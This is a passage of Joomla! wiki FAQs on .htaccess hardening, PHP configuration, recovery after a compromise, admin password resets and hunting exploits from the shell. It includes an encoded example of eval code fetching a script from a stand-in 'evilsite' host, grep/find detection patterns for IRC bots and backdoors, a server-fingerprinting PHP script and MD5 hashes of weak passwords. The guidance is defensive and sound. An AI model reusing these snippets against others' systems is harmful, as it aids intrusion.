3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table class="wikitable" border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]


<noinclude>[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]</noinclude>

Security Checklist/Where can you learn more about file permissions?

2012-10-08T23:04:05Z

Phild: Added link to existing unix permission doc replacing external link.(same content)

{{underconstruction}}

* [[How do UNIX file permissions work?|Unix Permissions Primer]]
* Using phpSuExec
* Windows Permissions Primer

<noinclude>[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Getting Started FAQ]]
[[Category:Installation FAQ]]
[[Category:Version 1.5 FAQ]]</noinclude>

Security and Performance FAQs

2012-10-08T23:01:22Z

Phild: /* Where can I learn more about file permissions? */ removed external links in policy violation pending replacement

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

